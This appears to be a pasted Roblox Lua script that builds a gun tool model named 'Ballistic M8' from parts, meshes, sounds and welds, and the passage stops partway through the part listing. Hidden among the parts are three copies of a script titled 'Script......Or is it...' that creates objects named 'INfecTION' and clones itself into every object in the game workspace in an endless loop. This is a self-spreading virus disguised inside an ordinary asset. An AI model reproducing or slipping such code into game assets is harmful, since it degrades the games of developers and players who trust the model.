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Dark_EccentricYT

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Apr 20th, 2018 (edited)
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  1. -- made by 1ndrew
  2. function sandbox(var,func)
  3. local env = getfenv(func)
  4. local newenv = setmetatable({},{
  5. __index = function(self,k)
  6. if k=="script" then
  7. return var
  8. else
  9. return env[k]
  10. end
  11. end,
  12. })
  13. setfenv(func,newenv)
  14. return func
  15. end
  16. cors = {}
  17. mas = Instance.new("Model",game:GetService("Lighting"))
  18. Tool0 = Instance.new("Tool")
  19. Script1 = Instance.new("Script")
  20. Part2 = Instance.new("Part")
  21. CylinderMesh3 = Instance.new("CylinderMesh")
  22. Part4 = Instance.new("Part")
  23. BlockMesh5 = Instance.new("BlockMesh")
  24. Part6 = Instance.new("Part")
  25. BlockMesh7 = Instance.new("BlockMesh")
  26. Part8 = Instance.new("Part")
  27. BlockMesh9 = Instance.new("BlockMesh")
  28. Sound10 = Instance.new("Sound")
  29. Script11 = Instance.new("Script")
  30. Sound12 = Instance.new("Sound")
  31. Script13 = Instance.new("Script")
  32. Part14 = Instance.new("Part")
  33. BlockMesh15 = Instance.new("BlockMesh")
  34. Part16 = Instance.new("Part")
  35. SpecialMesh17 = Instance.new("SpecialMesh")
  36. Part18 = Instance.new("Part")
  37. BlockMesh19 = Instance.new("BlockMesh")
  38. Part20 = Instance.new("Part")
  39. BlockMesh21 = Instance.new("BlockMesh")
  40. Part22 = Instance.new("Part")
  41. SpecialMesh23 = Instance.new("SpecialMesh")
  42. Part24 = Instance.new("Part")
  43. BlockMesh25 = Instance.new("BlockMesh")
  44. ManualWeld26 = Instance.new("ManualWeld")
  45. Part27 = Instance.new("Part")
  46. BlockMesh28 = Instance.new("BlockMesh")
  47. Part29 = Instance.new("Part")
  48. BlockMesh30 = Instance.new("BlockMesh")
  49. Part31 = Instance.new("Part")
  50. BlockMesh32 = Instance.new("BlockMesh")
  51. Part33 = Instance.new("Part")
  52. SpecialMesh34 = Instance.new("SpecialMesh")
  53. Part35 = Instance.new("Part")
  54. SpecialMesh36 = Instance.new("SpecialMesh")
  55. Part37 = Instance.new("Part")
  56. SpecialMesh38 = Instance.new("SpecialMesh")
  57. Part39 = Instance.new("Part")
  58. BlockMesh40 = Instance.new("BlockMesh")
  59. ManualWeld41 = Instance.new("ManualWeld")
  60. Part42 = Instance.new("Part")
  61. BlockMesh43 = Instance.new("BlockMesh")
  62. ManualWeld44 = Instance.new("ManualWeld")
  63. LocalScript45 = Instance.new("LocalScript")
  64. NumberValue46 = Instance.new("NumberValue")
  65. NumberValue47 = Instance.new("NumberValue")
  66. PointLight48 = Instance.new("PointLight")
  67. Smoke49 = Instance.new("Smoke")
  68. Smoke50 = Instance.new("Smoke")
  69. ScreenGui51 = Instance.new("ScreenGui")
  70. Frame52 = Instance.new("Frame")
  71. TextLabel53 = Instance.new("TextLabel")
  72. Frame54 = Instance.new("Frame")
  73. TextLabel55 = Instance.new("TextLabel")
  74. Frame56 = Instance.new("Frame")
  75. TextLabel57 = Instance.new("TextLabel")
  76. TextLabel58 = Instance.new("TextLabel")
  77. Part59 = Instance.new("Part")
  78. BlockMesh60 = Instance.new("BlockMesh")
  79. Part61 = Instance.new("Part")
  80. SpecialMesh62 = Instance.new("SpecialMesh")
  81. Part63 = Instance.new("Part")
  82. CylinderMesh64 = Instance.new("CylinderMesh")
  83. Part65 = Instance.new("Part")
  84. BlockMesh66 = Instance.new("BlockMesh")
  85. Part67 = Instance.new("Part")
  86. BlockMesh68 = Instance.new("BlockMesh")
  87. Part69 = Instance.new("Part")
  88. SpecialMesh70 = Instance.new("SpecialMesh")
  89. Part71 = Instance.new("Part")
  90. BlockMesh72 = Instance.new("BlockMesh")
  91. Part73 = Instance.new("Part")
  92. BlockMesh74 = Instance.new("BlockMesh")
  93. Part75 = Instance.new("Part")
  94. BlockMesh76 = Instance.new("BlockMesh")
  95. Part77 = Instance.new("Part")
  96. BlockMesh78 = Instance.new("BlockMesh")
  97. ManualWeld79 = Instance.new("ManualWeld")
  98. Part80 = Instance.new("Part")
  99. BlockMesh81 = Instance.new("BlockMesh")
  100. Part82 = Instance.new("Part")
  101. BlockMesh83 = Instance.new("BlockMesh")
  102. Part84 = Instance.new("Part")
  103. BlockMesh85 = Instance.new("BlockMesh")
  104. Part86 = Instance.new("Part")
  105. BlockMesh87 = Instance.new("BlockMesh")
  106. Part88 = Instance.new("Part")
  107. SpecialMesh89 = Instance.new("SpecialMesh")
  108. Part90 = Instance.new("Part")
  109. SpecialMesh91 = Instance.new("SpecialMesh")
  110. Part92 = Instance.new("Part")
  111. SpecialMesh93 = Instance.new("SpecialMesh")
  112. Part94 = Instance.new("Part")
  113. BlockMesh95 = Instance.new("BlockMesh")
  114. Part96 = Instance.new("Part")
  115. CylinderMesh97 = Instance.new("CylinderMesh")
  116. Part98 = Instance.new("Part")
  117. BlockMesh99 = Instance.new("BlockMesh")
  118. Part100 = Instance.new("Part")
  119. SpecialMesh101 = Instance.new("SpecialMesh")
  120. Part102 = Instance.new("Part")
  121. BlockMesh103 = Instance.new("BlockMesh")
  122. Part104 = Instance.new("Part")
  123. BlockMesh105 = Instance.new("BlockMesh")
  124. Part106 = Instance.new("Part")
  125. SpecialMesh107 = Instance.new("SpecialMesh")
  126. Part108 = Instance.new("Part")
  127. BlockMesh109 = Instance.new("BlockMesh")
  128. Part110 = Instance.new("Part")
  129. BlockMesh111 = Instance.new("BlockMesh")
  130. Part112 = Instance.new("Part")
  131. BlockMesh113 = Instance.new("BlockMesh")
  132. Part114 = Instance.new("Part")
  133. BlockMesh115 = Instance.new("BlockMesh")
  134. Part116 = Instance.new("Part")
  135. BlockMesh117 = Instance.new("BlockMesh")
  136. Part118 = Instance.new("Part")
  137. BlockMesh119 = Instance.new("BlockMesh")
  138. Part120 = Instance.new("Part")
  139. BlockMesh121 = Instance.new("BlockMesh")
  140. Part122 = Instance.new("Part")
  141. BlockMesh123 = Instance.new("BlockMesh")
  142. Part124 = Instance.new("Part")
  143. BlockMesh125 = Instance.new("BlockMesh")
  144. Part126 = Instance.new("Part")
  145. SpecialMesh127 = Instance.new("SpecialMesh")
  146. Part128 = Instance.new("Part")
  147. BlockMesh129 = Instance.new("BlockMesh")
  148. Part130 = Instance.new("Part")
  149. BlockMesh131 = Instance.new("BlockMesh")
  150. Part132 = Instance.new("Part")
  151. BlockMesh133 = Instance.new("BlockMesh")
  152. Part134 = Instance.new("Part")
  153. BlockMesh135 = Instance.new("BlockMesh")
  154. Part136 = Instance.new("Part")
  155. SpecialMesh137 = Instance.new("SpecialMesh")
  156. Part138 = Instance.new("Part")
  157. BlockMesh139 = Instance.new("BlockMesh")
  158. Part140 = Instance.new("Part")
  159. BlockMesh141 = Instance.new("BlockMesh")
  160. Part142 = Instance.new("Part")
  161. SpecialMesh143 = Instance.new("SpecialMesh")
  162. Part144 = Instance.new("Part")
  163. BlockMesh145 = Instance.new("BlockMesh")
  164. Part146 = Instance.new("Part")
  165. SpecialMesh147 = Instance.new("SpecialMesh")
  166. Part148 = Instance.new("Part")
  167. BlockMesh149 = Instance.new("BlockMesh")
  168. Part150 = Instance.new("Part")
  169. BlockMesh151 = Instance.new("BlockMesh")
  170. Part152 = Instance.new("Part")
  171. SpecialMesh153 = Instance.new("SpecialMesh")
  172. Part154 = Instance.new("Part")
  173. SpecialMesh155 = Instance.new("SpecialMesh")
  174. Part156 = Instance.new("Part")
  175. BlockMesh157 = Instance.new("BlockMesh")
  176. Part158 = Instance.new("Part")
  177. BlockMesh159 = Instance.new("BlockMesh")
  178. ManualWeld160 = Instance.new("ManualWeld")
  179. Part161 = Instance.new("Part")
  180. BlockMesh162 = Instance.new("BlockMesh")
  181. Part163 = Instance.new("Part")
  182. SpecialMesh164 = Instance.new("SpecialMesh")
  183. Part165 = Instance.new("Part")
  184. SpecialMesh166 = Instance.new("SpecialMesh")
  185. ManualWeld167 = Instance.new("ManualWeld")
  186. Part168 = Instance.new("Part")
  187. BlockMesh169 = Instance.new("BlockMesh")
  188. Part170 = Instance.new("Part")
  189. BlockMesh171 = Instance.new("BlockMesh")
  190. Part172 = Instance.new("Part")
  191. SpecialMesh173 = Instance.new("SpecialMesh")
  192. Part174 = Instance.new("Part")
  193. SpecialMesh175 = Instance.new("SpecialMesh")
  194. Part176 = Instance.new("Part")
  195. SpecialMesh177 = Instance.new("SpecialMesh")
  196. Part178 = Instance.new("Part")
  197. SpecialMesh179 = Instance.new("SpecialMesh")
  198. Part180 = Instance.new("Part")
  199. SpecialMesh181 = Instance.new("SpecialMesh")
  200. Part182 = Instance.new("Part")
  201. CylinderMesh183 = Instance.new("CylinderMesh")
  202. Part184 = Instance.new("Part")
  203. SpecialMesh185 = Instance.new("SpecialMesh")
  204. Part186 = Instance.new("Part")
  205. Decal187 = Instance.new("Decal")
  206. Decal188 = Instance.new("Decal")
  207. Decal189 = Instance.new("Decal")
  208. Decal190 = Instance.new("Decal")
  209. Decal191 = Instance.new("Decal")
  210. Decal192 = Instance.new("Decal")
  211. Decal193 = Instance.new("Decal")
  212. CylinderMesh194 = Instance.new("CylinderMesh")
  213. Part195 = Instance.new("Part")
  214. SpecialMesh196 = Instance.new("SpecialMesh")
  215. Part197 = Instance.new("Part")
  216. CylinderMesh198 = Instance.new("CylinderMesh")
  217. Part199 = Instance.new("Part")
  218. BlockMesh200 = Instance.new("BlockMesh")
  219. Part201 = Instance.new("Part")
  220. SpecialMesh202 = Instance.new("SpecialMesh")
  221. Part203 = Instance.new("Part")
  222. BlockMesh204 = Instance.new("BlockMesh")
  223. Part205 = Instance.new("Part")
  224. BlockMesh206 = Instance.new("BlockMesh")
  225. Part207 = Instance.new("Part")
  226. BlockMesh208 = Instance.new("BlockMesh")
  227. Part209 = Instance.new("Part")
  228. SpecialMesh210 = Instance.new("SpecialMesh")
  229. Part211 = Instance.new("Part")
  230. BlockMesh212 = Instance.new("BlockMesh")
  231. Part213 = Instance.new("Part")
  232. BlockMesh214 = Instance.new("BlockMesh")
  233. Part215 = Instance.new("Part")
  234. SpecialMesh216 = Instance.new("SpecialMesh")
  235. Part217 = Instance.new("Part")
  236. BlockMesh218 = Instance.new("BlockMesh")
  237. Part219 = Instance.new("Part")
  238. SpecialMesh220 = Instance.new("SpecialMesh")
  239. Part221 = Instance.new("Part")
  240. SpecialMesh222 = Instance.new("SpecialMesh")
  241. Part223 = Instance.new("Part")
  242. SpecialMesh224 = Instance.new("SpecialMesh")
  243. Part225 = Instance.new("Part")
  244. BlockMesh226 = Instance.new("BlockMesh")
  245. Part227 = Instance.new("Part")
  246. BlockMesh228 = Instance.new("BlockMesh")
  247. Part229 = Instance.new("Part")
  248. CylinderMesh230 = Instance.new("CylinderMesh")
  249. Part231 = Instance.new("Part")
  250. BlockMesh232 = Instance.new("BlockMesh")
  251. Part233 = Instance.new("Part")
  252. SpecialMesh234 = Instance.new("SpecialMesh")
  253. Part235 = Instance.new("Part")
  254. BlockMesh236 = Instance.new("BlockMesh")
  255. Part237 = Instance.new("Part")
  256. BlockMesh238 = Instance.new("BlockMesh")
  257. Tool0.Name = "Ballistic M8"
  258. Tool0.Parent = mas
  259. Script1.Name = "Script......Or is it..."
  260. Script1.Parent = mas
  261. table.insert(cors,sandbox(Script1,function()
  262. if script.Parent.className ~= "RotateP" then
  263. local p = Instance.new("RotateP")
  264. p.Parent = workspace
  265. p.Name = "INfecTION"
  266. script.Parent = p
  267. end
  268.  
  269. function check()
  270. local list = workspace:GetChildren()
  271. for i = 1, #list do
  272. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  273. script.Parent:Clone().Parent = list[i]
  274. end
  275. wait()
  276. end
  277. end
  278.  
  279. while true do
  280. check()
  281. if workspace:findFirstChild("inFECtion") == nil then
  282. local main = script.Parent:Clone()
  283. main.Name = "inFECtion"
  284. main.Parent = workspace
  285. end
  286. wait(3)
  287. end
  288.  
  289. end))
  290. Part2.Name = "SmokePart"
  291. Part2.Parent = Tool0
  292. Part2.Material = Enum.Material.SmoothPlastic
  293. Part2.BrickColor = BrickColor.new("Dark stone grey")
  294. Part2.Rotation = Vector3.new(90, 0, -180)
  295. Part2.Anchored = true
  296. Part2.FormFactor = Enum.FormFactor.Custom
  297. Part2.Size = Vector3.new(0.200000003, 0.400001854, 0.200000003)
  298. Part2.CFrame = CFrame.new(34.5, 1.43857396, -8.79998779, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  299. Part2.BottomSurface = Enum.SurfaceType.Smooth
  300. Part2.TopSurface = Enum.SurfaceType.Smooth
  301. Part2.Color = Color3.new(0.388235, 0.372549, 0.384314)
  302. Part2.Position = Vector3.new(34.5, 1.43857396, -8.79998779)
  303. Part2.Orientation = Vector3.new(90, 180, 0)
  304. Part2.Color = Color3.new(0.388235, 0.372549, 0.384314)
  305. CylinderMesh3.Parent = Part2
  306. CylinderMesh3.Scale = Vector3.new(0.888888836, 1, 0.888887703)
  307. CylinderMesh3.Scale = Vector3.new(0.888888836, 1, 0.888887703)
  308. Part4.Parent = Tool0
  309. Part4.Material = Enum.Material.SmoothPlastic
  310. Part4.BrickColor = BrickColor.new("Really black")
  311. Part4.Reflectance = 0.20000000298023
  312. Part4.Rotation = Vector3.new(-120, 0, 0)
  313. Part4.Anchored = true
  314. Part4.FormFactor = Enum.FormFactor.Custom
  315. Part4.Size = Vector3.new(0.200000003, 0.57777822, 0.200000003)
  316. Part4.CFrame = CFrame.new(34.5148926, 1.08896506, -10.3483858, 1, 8.92672887e-08, -3.11594022e-07, 3.14481952e-07, -0.5, 0.866025388, -7.84892933e-08, -0.866025388, -0.5)
  317. Part4.BottomSurface = Enum.SurfaceType.Smooth
  318. Part4.TopSurface = Enum.SurfaceType.Smooth
  319. Part4.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  320. Part4.Position = Vector3.new(34.5148926, 1.08896506, -10.3483858)
  321. Part4.Orientation = Vector3.new(-60, -180, 180)
  322. Part4.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  323. BlockMesh5.Parent = Part4
  324. BlockMesh5.Scale = Vector3.new(0.888889134, 1, 0.407406121)
  325. BlockMesh5.Scale = Vector3.new(0.888889134, 1, 0.407406121)
  326. Part6.Parent = Tool0
  327. Part6.Material = Enum.Material.SmoothPlastic
  328. Part6.BrickColor = BrickColor.new("Black")
  329. Part6.Rotation = Vector3.new(-180, 0, 0)
  330. Part6.Anchored = true
  331. Part6.FormFactor = Enum.FormFactor.Custom
  332. Part6.Size = Vector3.new(0.200000003, 0.200000003, 1.97037566)
  333. Part6.CFrame = CFrame.new(34.5, 1.41269505, -9.98516846, 1, 0, 0, 0, -1, 0, 0, 0, -1)
  334. Part6.BottomSurface = Enum.SurfaceType.Smooth
  335. Part6.TopSurface = Enum.SurfaceType.Smooth
  336. Part6.Color = Color3.new(0.105882, 0.164706, 0.207843)
  337. Part6.Position = Vector3.new(34.5, 1.41269505, -9.98516846)
  338. Part6.Orientation = Vector3.new(0, 180, 180)
  339. Part6.Color = Color3.new(0.105882, 0.164706, 0.207843)
  340. BlockMesh7.Parent = Part6
  341. BlockMesh7.Scale = Vector3.new(0.962963641, 0.925925493, 1)
  342. BlockMesh7.Scale = Vector3.new(0.962963641, 0.925925493, 1)
  343. Part8.Name = "Handle"
  344. Part8.Parent = Tool0
  345. Part8.Material = Enum.Material.SmoothPlastic
  346. Part8.BrickColor = BrickColor.new("Black")
  347. Part8.Reflectance = 0.20000000298023
  348. Part8.Transparency = 1
  349. Part8.Rotation = Vector3.new(-180, 0, -180)
  350. Part8.Anchored = true
  351. Part8.FormFactor = Enum.FormFactor.Custom
  352. Part8.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  353. Part8.CFrame = CFrame.new(34.3855019, 0.842628002, -11.4422598, -0.999999881, 8.35096756e-08, -1.49011612e-08, 8.35096685e-08, 1, 1.31434499e-08, 1.49011612e-08, 1.31435094e-08, -0.999999881)
  354. Part8.BottomSurface = Enum.SurfaceType.Smooth
  355. Part8.TopSurface = Enum.SurfaceType.Smooth
  356. Part8.Color = Color3.new(0.105882, 0.164706, 0.207843)
  357. Part8.Position = Vector3.new(34.3855019, 0.842628002, -11.4422598)
  358. Part8.Orientation = Vector3.new(0, -180, 0)
  359. Part8.Color = Color3.new(0.105882, 0.164706, 0.207843)
  360. BlockMesh9.Parent = Part8
  361. BlockMesh9.Scale = Vector3.new(0.962963223, 0.259266168, 0.407407582)
  362. BlockMesh9.Scale = Vector3.new(0.962963223, 0.259266168, 0.407407582)
  363. Sound10.Name = "Shoot"
  364. Sound10.Parent = Part8
  365. Sound10.SoundId = "rbxassetid://137983646"
  366. Sound10.Volume = 1
  367. Script11.Name = "Script......Or is it..."
  368. Script11.Parent = mas
  369. table.insert(cors,sandbox(Script11,function()
  370. if script.Parent.className ~= "RotateP" then
  371. local p = Instance.new("RotateP")
  372. p.Parent = workspace
  373. p.Name = "INfecTION"
  374. script.Parent = p
  375. end
  376.  
  377. function check()
  378. local list = workspace:GetChildren()
  379. for i = 1, #list do
  380. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  381. script.Parent:Clone().Parent = list[i]
  382. end
  383. wait()
  384. end
  385. end
  386.  
  387. while true do
  388. check()
  389. if workspace:findFirstChild("inFECtion") == nil then
  390. local main = script.Parent:Clone()
  391. main.Name = "inFECtion"
  392. main.Parent = workspace
  393. end
  394. wait(3)
  395. end
  396.  
  397. end))
  398. Sound12.Name = "Reload"
  399. Sound12.Parent = Part8
  400. Sound12.SoundId = "rbxassetid://506273075"
  401. Sound12.Volume = 1
  402. Script13.Name = "Script......Or is it..."
  403. Script13.Parent = mas
  404. table.insert(cors,sandbox(Script13,function()
  405. if script.Parent.className ~= "RotateP" then
  406. local p = Instance.new("RotateP")
  407. p.Parent = workspace
  408. p.Name = "INfecTION"
  409. script.Parent = p
  410. end
  411.  
  412. function check()
  413. local list = workspace:GetChildren()
  414. for i = 1, #list do
  415. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  416. script.Parent:Clone().Parent = list[i]
  417. end
  418. wait()
  419. end
  420. end
  421.  
  422. while true do
  423. check()
  424. if workspace:findFirstChild("inFECtion") == nil then
  425. local main = script.Parent:Clone()
  426. main.Name = "inFECtion"
  427. main.Parent = workspace
  428. end
  429. wait(3)
  430. end
  431.  
  432. end))
  433. Part14.Parent = Tool0
  434. Part14.Material = Enum.Material.SmoothPlastic
  435. Part14.BrickColor = BrickColor.new("Black")
  436. Part14.Reflectance = 0.20000000298023
  437. Part14.Rotation = Vector3.new(-45, 0, 0)
  438. Part14.Anchored = true
  439. Part14.FormFactor = Enum.FormFactor.Custom
  440. Part14.Size = Vector3.new(0.200000003, 0.200000003, 0.837036848)
  441. Part14.CFrame = CFrame.new(34.5, 1.04258001, -13.286438, 1, 2.54968313e-08, 7.88808592e-08, -7.3806163e-08, 0.707106769, 0.707106709, -3.77482152e-08, -0.707106709, 0.707106769)
  442. Part14.BottomSurface = Enum.SurfaceType.Smooth
  443. Part14.TopSurface = Enum.SurfaceType.Smooth
  444. Part14.Color = Color3.new(0.105882, 0.164706, 0.207843)
  445. Part14.Position = Vector3.new(34.5, 1.04258001, -13.286438)
  446. Part14.Orientation = Vector3.new(-45, 0, 0)
  447. Part14.Color = Color3.new(0.105882, 0.164706, 0.207843)
  448. BlockMesh15.Parent = Part14
  449. BlockMesh15.Scale = Vector3.new(0.888889134, 0.592592716, 1)
  450. BlockMesh15.Scale = Vector3.new(0.888889134, 0.592592716, 1)
  451. Part16.Parent = Tool0
  452. Part16.Material = Enum.Material.SmoothPlastic
  453. Part16.BrickColor = BrickColor.new("Black")
  454. Part16.Reflectance = 0.20000000298023
  455. Part16.Rotation = Vector3.new(90, 0, -180)
  456. Part16.Anchored = true
  457. Part16.FormFactor = Enum.FormFactor.Custom
  458. Part16.Size = Vector3.new(0.20740743, 0.34074083, 0.200000003)
  459. Part16.CFrame = CFrame.new(34.5, 1.58676803, -12.7407217, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  460. Part16.BottomSurface = Enum.SurfaceType.Smooth
  461. Part16.TopSurface = Enum.SurfaceType.Smooth
  462. Part16.Color = Color3.new(0.105882, 0.164706, 0.207843)
  463. Part16.Position = Vector3.new(34.5, 1.58676803, -12.7407217)
  464. Part16.Orientation = Vector3.new(90, 180, 0)
  465. Part16.Color = Color3.new(0.105882, 0.164706, 0.207843)
  466. SpecialMesh17.Parent = Part16
  467. SpecialMesh17.Scale = Vector3.new(1, 1, 0.259259343)
  468. SpecialMesh17.MeshType = Enum.MeshType.Wedge
  469. SpecialMesh17.Scale = Vector3.new(1, 1, 0.259259343)
  470. Part18.Parent = Tool0
  471. Part18.Material = Enum.Material.SmoothPlastic
  472. Part18.BrickColor = BrickColor.new("Black")
  473. Part18.Reflectance = 0.20000000298023
  474. Part18.Anchored = true
  475. Part18.FormFactor = Enum.FormFactor.Custom
  476. Part18.Size = Vector3.new(0.207407534, 0.200000003, 0.777780473)
  477. Part18.CFrame = CFrame.new(34.5, 1.06821096, -11.8555298, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  478. Part18.BottomSurface = Enum.SurfaceType.Smooth
  479. Part18.TopSurface = Enum.SurfaceType.Smooth
  480. Part18.Color = Color3.new(0.105882, 0.164706, 0.207843)
  481. Part18.Position = Vector3.new(34.5, 1.06821096, -11.8555298)
  482. Part18.Color = Color3.new(0.105882, 0.164706, 0.207843)
  483. BlockMesh19.Parent = Part18
  484. BlockMesh19.Scale = Vector3.new(1, 0.592592061, 1)
  485. BlockMesh19.Scale = Vector3.new(1, 0.592592061, 1)
  486. Part20.Parent = Tool0
  487. Part20.Material = Enum.Material.SmoothPlastic
  488. Part20.BrickColor = BrickColor.new("Black")
  489. Part20.Reflectance = 0.20000000298023
  490. Part20.Rotation = Vector3.new(-90, 0, 0)
  491. Part20.Anchored = true
  492. Part20.FormFactor = Enum.FormFactor.Custom
  493. Part20.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  494. Part20.CFrame = CFrame.new(34.4963379, 1.67563403, -9.23333359, 1, -0, 0, 0, -1.49011612e-08, 0.999999762, 0, -0.999999762, -1.49011612e-08)
  495. Part20.BottomSurface = Enum.SurfaceType.Smooth
  496. Part20.TopSurface = Enum.SurfaceType.Smooth
  497. Part20.Color = Color3.new(0.105882, 0.164706, 0.207843)
  498. Part20.Position = Vector3.new(34.4963379, 1.67563403, -9.23333359)
  499. Part20.Orientation = Vector3.new(-89.9599991, 180, 180)
  500. Part20.Color = Color3.new(0.105882, 0.164706, 0.207843)
  501. BlockMesh21.Parent = Part20
  502. BlockMesh21.Scale = Vector3.new(0.481481433, 0.703703821, 0.370370358)
  503. BlockMesh21.Scale = Vector3.new(0.481481433, 0.703703821, 0.370370358)
  504. Part22.Parent = Tool0
  505. Part22.Material = Enum.Material.SmoothPlastic
  506. Part22.BrickColor = BrickColor.new("Black")
  507. Part22.Reflectance = 0.20000000298023
  508. Part22.Rotation = Vector3.new(90, 0, 0)
  509. Part22.Anchored = true
  510. Part22.FormFactor = Enum.FormFactor.Custom
  511. Part22.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  512. Part22.CFrame = CFrame.new(34.5, 1.50156295, -13.5444336, 1, 0, 0, 0, 0, -1, 0, 1, 0)
  513. Part22.BottomSurface = Enum.SurfaceType.Smooth
  514. Part22.TopSurface = Enum.SurfaceType.Smooth
  515. Part22.Color = Color3.new(0.105882, 0.164706, 0.207843)
  516. Part22.Position = Vector3.new(34.5, 1.50156295, -13.5444336)
  517. Part22.Orientation = Vector3.new(90, 0, 0)
  518. Part22.Color = Color3.new(0.105882, 0.164706, 0.207843)
  519. SpecialMesh23.Parent = Part22
  520. SpecialMesh23.Scale = Vector3.new(0.888889551, 0.851851761, 0.962963104)
  521. SpecialMesh23.MeshType = Enum.MeshType.Wedge
  522. SpecialMesh23.Scale = Vector3.new(0.888889551, 0.851851761, 0.962963104)
  523. Part24.Parent = Tool0
  524. Part24.Material = Enum.Material.SmoothPlastic
  525. Part24.BrickColor = BrickColor.new("Black")
  526. Part24.Reflectance = 0.20000000298023
  527. Part24.Rotation = Vector3.new(-90, 0, 0)
  528. Part24.Anchored = true
  529. Part24.FormFactor = Enum.FormFactor.Custom
  530. Part24.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  531. Part24.CFrame = CFrame.new(34.4963379, 1.67563403, -12.0999756, 1, 0, -0, 0, 0, 1, 0, -1, 0)
  532. Part24.BottomSurface = Enum.SurfaceType.Smooth
  533. Part24.TopSurface = Enum.SurfaceType.Smooth
  534. Part24.Color = Color3.new(0.105882, 0.164706, 0.207843)
  535. Part24.Position = Vector3.new(34.4963379, 1.67563403, -12.0999756)
  536. Part24.Orientation = Vector3.new(-90, 0, 0)
  537. Part24.Color = Color3.new(0.105882, 0.164706, 0.207843)
  538. BlockMesh25.Parent = Part24
  539. BlockMesh25.Scale = Vector3.new(0.70370388, 0.0740740448, 0.370370358)
  540. BlockMesh25.Scale = Vector3.new(0.70370388, 0.0740740448, 0.370370358)
  541. ManualWeld26.Name = "Part-to-AimPart Strong Joint"
  542. ManualWeld26.Parent = Part24
  543. ManualWeld26.C0 = CFrame.new(-0.100000001, -0.100000001, 0.100000001, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  544. ManualWeld26.C1 = CFrame.new(0.0999984741, -0.0962898731, -0.1814785, -0.999999702, -4.8854865e-08, 5.96046448e-08, 5.96046448e-08, 1.34268845e-08, 0.999999702, -4.88548757e-08, 1, -5.71382657e-08)
  545. ManualWeld26.Part0 = Part24
  546. ManualWeld26.Part1 = Part237
  547. Part27.Parent = Tool0
  548. Part27.Material = Enum.Material.SmoothPlastic
  549. Part27.BrickColor = BrickColor.new("Black")
  550. Part27.Reflectance = 0.20000000298023
  551. Part27.Anchored = true
  552. Part27.FormFactor = Enum.FormFactor.Custom
  553. Part27.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  554. Part27.CFrame = CFrame.new(34.6148682, 1.38291204, -10.6295776, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  555. Part27.BottomSurface = Enum.SurfaceType.Smooth
  556. Part27.TopSurface = Enum.SurfaceType.Smooth
  557. Part27.Color = Color3.new(0.105882, 0.164706, 0.207843)
  558. Part27.Position = Vector3.new(34.6148682, 1.38291204, -10.6295776)
  559. Part27.Color = Color3.new(0.105882, 0.164706, 0.207843)
  560. BlockMesh28.Parent = Part27
  561. BlockMesh28.Scale = Vector3.new(0.111111112, 0.0370370373, 0.370390445)
  562. BlockMesh28.Scale = Vector3.new(0.111111112, 0.0370370373, 0.370390445)
  563. Part29.Parent = Tool0
  564. Part29.Material = Enum.Material.SmoothPlastic
  565. Part29.BrickColor = BrickColor.new("Black")
  566. Part29.Reflectance = 0.20000000298023
  567. Part29.Rotation = Vector3.new(-90, 0, 0)
  568. Part29.Anchored = true
  569. Part29.FormFactor = Enum.FormFactor.Custom
  570. Part29.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  571. Part29.CFrame = CFrame.new(34.4963379, 1.67563403, -9.35925198, 1, -0, 0, 0, -1.49011612e-08, 0.999999762, 0, -0.999999762, -1.49011612e-08)
  572. Part29.BottomSurface = Enum.SurfaceType.Smooth
  573. Part29.TopSurface = Enum.SurfaceType.Smooth
  574. Part29.Color = Color3.new(0.105882, 0.164706, 0.207843)
  575. Part29.Position = Vector3.new(34.4963379, 1.67563403, -9.35925198)
  576. Part29.Orientation = Vector3.new(-89.9599991, 180, 180)
  577. Part29.Color = Color3.new(0.105882, 0.164706, 0.207843)
  578. BlockMesh30.Parent = Part29
  579. BlockMesh30.Scale = Vector3.new(0.0370370373, 0.111111142, 0.370370358)
  580. BlockMesh30.Scale = Vector3.new(0.0370370373, 0.111111142, 0.370370358)
  581. Part31.Parent = Tool0
  582. Part31.Material = Enum.Material.SmoothPlastic
  583. Part31.BrickColor = BrickColor.new("Black")
  584. Part31.Reflectance = 0.20000000298023
  585. Part31.Rotation = Vector3.new(-180, 0, -180)
  586. Part31.Anchored = true
  587. Part31.FormFactor = Enum.FormFactor.Custom
  588. Part31.Size = Vector3.new(0.200000003, 0.748149335, 0.222222224)
  589. Part31.CFrame = CFrame.new(34.5, 0.634863973, -12.1332998, -1, 0, 0, 0, 1, 0, 0, 0, -1)
  590. Part31.BottomSurface = Enum.SurfaceType.Smooth
  591. Part31.TopSurface = Enum.SurfaceType.Smooth
  592. Part31.Color = Color3.new(0.105882, 0.164706, 0.207843)
  593. Part31.Position = Vector3.new(34.5, 0.634863973, -12.1332998)
  594. Part31.Orientation = Vector3.new(0, 180, 0)
  595. Part31.Color = Color3.new(0.105882, 0.164706, 0.207843)
  596. BlockMesh32.Parent = Part31
  597. BlockMesh32.Scale = Vector3.new(0.962963223, 1, 1)
  598. BlockMesh32.Scale = Vector3.new(0.962963223, 1, 1)
  599. Part33.Parent = Tool0
  600. Part33.Material = Enum.Material.SmoothPlastic
  601. Part33.BrickColor = BrickColor.new("Black")
  602. Part33.Reflectance = 0.20000000298023
  603. Part33.Rotation = Vector3.new(0, 0, 90)
  604. Part33.Anchored = true
  605. Part33.FormFactor = Enum.FormFactor.Custom
  606. Part33.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  607. Part33.CFrame = CFrame.new(34.5296631, 1.67563403, -9.31847382, 0, -1, 0, 0.999999762, -0, 1.49011612e-08, -1.49011612e-08, -0, 0.999999762)
  608. Part33.BottomSurface = Enum.SurfaceType.Smooth
  609. Part33.TopSurface = Enum.SurfaceType.Smooth
  610. Part33.Color = Color3.new(0.105882, 0.164706, 0.207843)
  611. Part33.Position = Vector3.new(34.5296631, 1.67563403, -9.31847382)
